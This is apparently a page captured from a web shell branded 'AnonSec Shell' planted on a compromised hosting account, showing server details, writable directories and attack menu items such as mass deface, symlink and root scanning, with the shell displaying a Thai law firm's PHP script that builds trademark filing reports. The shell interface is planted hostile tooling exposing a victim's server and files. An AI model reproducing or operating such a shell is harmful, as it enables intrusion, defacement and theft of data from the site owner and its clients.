AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/public_html/ilawasia.onnud20.com/Ip/Search/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/public_html/ilawasia.onnud20.com/Ip/Search/_reportfiling.php
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL & ~E_DEPRECATED);

use PhpOffice\PhpWord\Style\Font;
use PhpOffice\PhpWord\Shared\Converter;
use PhpOffice\PhpWord\Style\TablePosition;

include_once 'Sample_Header.php';

$data = $_POST;
$CaseId = (isset($data['CaseId'])) ? $data['CaseId'] : "";
//$CaseId = "13756";
$data_r = $search_db->ReportFiling($CaseId);
/*
print_r($data_r );
exit();
*/
// New Word Document
//echo date('H:i:s') , ' Create new PhpWord object' , EOL;

$languageEnGb = new \PhpOffice\PhpWord\Style\Language(\PhpOffice\PhpWord\Style\Language::EN_GB);

$phpWord = new \PhpOffice\PhpWord\PhpWord();
$phpWord->getSettings()->setThemeFontLang($languageEnGb);

$fontStyleName = 'rStyle';
$phpWord->addFontStyle($fontStyleName, ['bold' => true, 'italic' => true, 'size' => 16, 'allCaps' => true, 'doubleStrikethrough' => true]);

$paragraphStyleName = 'pStyle';
$phpWord->addParagraphStyle($paragraphStyleName, ['alignment' => \PhpOffice\PhpWord\SimpleType\Jc::CENTER, 'spaceAfter' => 100]);

$fontStyleName_newB = 'nStyleB';
$phpWord->addFontStyle($fontStyleName_newB, ['bold' => true, 'size' => 11, 'allCaps' => false]);

$fontStyleName_new = 'nStyle';
$phpWord->addFontStyle($fontStyleName_new, ['size' => 11, 'allCaps' => false ]);

$phpWord->addTitleStyle(1, ['bold' => true], ['spaceAfter' => 240]);

// New portrait section
$section = $phpWord->addSection();

// Image
$section->addImage('../../Assets/logo_blue-02.jpg', ['width' => 450, 'height' => 80]);

// text
$ClientRef = "";
$textClientRef = $section->addTextRun();
$textClientRef->addText('Client Ref: '."\t\t", $fontStyleName_newB);
$textClientRef->addText($ClientRef, $fontStyleName_new);

$CaseReference = (isset($data['CaseReference']))? $data['CaseReference'] : "";
$OurRef = $CaseReference;
$textOurRef = $section->addTextRun();
$textOurRef->addText('Our Ref: '."\t\t", $fontStyleName_newB);
$textOurRef->addText($OurRef, $fontStyleName_new);

$section->addTextBreak();

$ByEmail = "";
$textByEmail = $section->addTextRun();
$textByEmail->addText('By Email: '."\t\t", $fontStyleName_newB);
$textByEmail->addText($ByEmail, $fontStyleName_new);

// Two text break
$section->addTextBreak(2);

$dateReport = date("d F Y");
$section->addText($dateReport, $fontStyleName_new);

// Two text break
$section->addTextBreak();
if(isset($data['Owner'])){
  $Owner = $data['Owner'];
  $OwnerAddress = $data['OwnerAddress'];
  $section->addText($Owner, $fontStyleName_newB);
  $section->addText($OwnerAddress, $fontStyleName_newB);
  $section->addTextBreak();
}

$Attention = "";
$textAttention = $section->addTextRun();
$textAttention->addText('Attention: '."\t\t", $fontStyleName_newB);
$textAttention->addText($Attention, $fontStyleName_new);

$Re = (isset($data['Title']))? $data['Title'] : "";
$textRe = $section->addTextRun();
$textRe->addText('Re: '."\t\t", $fontStyleName_newB);
$textRe->addText($Re, $fontStyleName_newB);
$section->addTextBreak();

$section->addText('Dear ,', $fontStyleName_new);
$section->addText('We have attended to the filing of the above-captioned trademark. Please find the details as follows:', $fontStyleName_new);

$Country = (isset($data['CountryName'])) ? $data['CountryName'] : "";
$textCountry = $section->addTextRun();
$textCountry->addText('Country: '."\t\t\t", $fontStyleName_newB);
$textCountry->addText($Country, $fontStyleName_new);
$section->addTextBreak();

$Mark = "";
$textMark = $section->addTextRun();
$textMark->addText('Mark: '."\t\t\t\t", $fontStyleName_newB);
$FilePath = isset($data['FilePath']) ? $data['FilePath'] : "";
$fullPath = '../Uploads' . $FilePath;

if (!empty($FilePath) && file_exists($fullPath)) {
    $textMark->addImage($fullPath, ['width' => 100, 'height' => 80]);
}
$section->addTextBreak(2);

$Applicant = "";
$Address = "";
if(isset($data_r['names'])){
  foreach ($data_r['names'] as $key => $value) {
    if( $value['NamesTypeId']==3){
      $Applicant = (isset($value['NamesName'])) ? $value['NamesName'] : "";
      $Address = (isset($value['PostalAddress'])) ? $value['PostalAddress'] : "";
    }
  }
}

$textApplicant = $section->addTextRun();
$textApplicant->addText('Applicant: '."\t\t\t", $fontStyleName_newB);
$textApplicant->addText($Applicant, $fontStyleName_new);
$section->addTextBreak();

$textAddress = $section->addTextRun();
$textAddress->addText('Address: '."\t\t\t", $fontStyleName_newB);
$textAddress->addText($Address, $fontStyleName_new);
$section->addTextBreak();

$ApplicationNo = "";
if(isset($data_r['CaseOfficial'])){
  foreach ($data_r['CaseOfficial'] as $key => $value) {
    if($value['OfficialNumberTypeId']==1){
      $ApplicationNo = $value['OfficialNo'];
    }
  }
}


$textApplicationNo = $section->addTextRun();
$textApplicationNo->addText('Application No.: '."\t\t", $fontStyleName_newB);
$textApplicationNo->addText($ApplicationNo, $fontStyleName_new);
$section->addTextBreak();

$FilingDate = "";
$textFilingDate = $section->addTextRun();
$textFilingDate->addText('Filing Date: '."\t\t\t", $fontStyleName_newB);
$textFilingDate->addText($ApplicationNo, $fontStyleName_new);
$section->addTextBreak();


$fancyTableStyle = ['borderSize' => 6, 'borderColor' => '999999', 'cellMargin' => 80];
$cellRowSpan = ['vMerge' => 'restart', 'valign' => 'center', 'bgColor' => 'FFFF00'];
$cellRowContinue = ['vMerge' => 'continue'];
$cellColSpan = ['gridSpan' => 2, 'valign' => 'center'];
$cellHStart = ['alignment' => \PhpOffice\PhpWord\SimpleType\Jc::START];
$cellHCentered = ['alignment' => \PhpOffice\PhpWord\SimpleType\Jc::CENTER];
$cellHEnd = ['alignment' => \PhpOffice\PhpWord\SimpleType\Jc::END];
$cellVCentered = ['valign' => 'center'];

$spanTableStyleName = 'Colspan Rowspan';
$phpWord->addTableStyle($spanTableStyleName, $fancyTableStyle);
if(isset($data_r['classes'])){
  foreach ($data_r['classes'] as $key => $value) {
    $ClassesCode = (isset($value['ClassesCode']))? $value['ClassesCode'] : "";
    $ClassesTextEN = (isset($value['ClassesTextEN']))? $value['ClassesTextEN'] : "";
    $table = $section->addTable($spanTableStyleName);
    $table->addRow();
    $table->addCell(2000, $cellVCentered)->addText('Class', null);
    $table->addCell(7000, $cellVCentered)->addText($ClassesCode, null, $cellHStart);
    $table->addRow();
    $table->addCell(2000, $cellVCentered)->addText('Goods/Services', null);
    $table->addCell(7000, $cellVCentered)->addText($ClassesTextEN, null, $cellHStart);

    $section->addTextBreak();
  }
}

$textDetail1 = "We expect that the application will be examined within 180 days, but the review period is sometimes longer. After the application is examined, the Department of Intellectual Property may suggest amendments or might in some circumstances reject the application. If there is any objection to the application, or if it is refused, we will advise you on how best to proceed.";
$textDetail2 = "We will keep you informed of all further developments on this application. As always and at any time, please contact us if you have any question and/or would like to discuss this matter.";
$textDetail3 = "Yours sincerely,";
$textDetail4 = "ILAWASIA CO., LTD.";
$textDetail5 = "Saowaluck Lamlert (SLT) / Tatchaporn Natprasertkul (TNL)";

$section->addText($textDetail1, $fontStyleName_new);
$section->addText($textDetail2, $fontStyleName_new);
$section->addText($textDetail3, $fontStyleName_new);
$section->addText($textDetail4, $fontStyleName_newB);
$section->addTextBreak();
$section->addText($textDetail5, $fontStyleName_newB);

// Footer
// Add footer
$footer = $section->addFooter();
$footer->addPreserveText('Page {PAGE} of {NUMPAGES}.', null, ['alignment' => \PhpOffice\PhpWord\SimpleType\Jc::END]);
$footer->addLine(
    [
        'width' => \PhpOffice\PhpWord\Shared\Converter::cmToPixel(12),
        'height' => \PhpOffice\PhpWord\Shared\Converter::cmToPixel(0),
        'positioning' => 'absolute',
    ]
);
//$footer = $footer->addTextRun();
$Co1 = "ILAWASIA CO., LTD. (Thailand)";
$Co2 = "ILAW MYANMAR CO., LTD. (Myanmar)";
$Co3 = "I.L. ASIA CO., LTD. (Cambodia)";
$footer->addPreserveText('BANGKOK  ●  YANGON  ●  PHNOM PENH', ['size' => 10], [ 'alignment' => \PhpOffice\PhpWord\SimpleType\Jc::END]);
$footer->addPreserveText($Co1.' | '.$Co2.' | '.$Co3, ['size' => 8], $cellHEnd);

// Save file
$_filename = $CaseReference."_Filing Report";
$_pathfile = "results/".$_filename.".docx";
if (!CLI) {
    include_once 'Sample_Footer.php';
}

// ตรวจสอบ/สร้างโฟลเดอร์ (ถ้าจะใช้ภายหลัง, ไม่จำเป็นในกรณีดาวน์โหลดอย่างเดียว)
if (!is_dir("results")) {
    mkdir("results", 0777, true);
}

/*
header("Content-Description: File Transfer");
header('Content-Disposition: attachment; filename="' . $_filename . '.docx"');
header('Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document');
header('Content-Transfer-Encoding: binary');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Expires: 0');

$objWriter = \PhpOffice\PhpWord\IOFactory::createWriter($phpWord, 'Word2007');
$objWriter->save("php://output"); // ส่งให้ browser ทันที
*/
try {
    $writer = \PhpOffice\PhpWord\IOFactory::createWriter($phpWord, 'Word2007');
    $writer->save($_pathfile);

    // ส่ง URL กลับ (ปรับ path ให้ถูกกับเว็บของคุณ)
    echo json_encode(['url' => $_pathfile]);
} catch (Exception $e) {
    http_response_code(500);
    echo json_encode(['error' => $e->getMessage()]);
}

exit;


Anon7 - 2022
AnonSec Team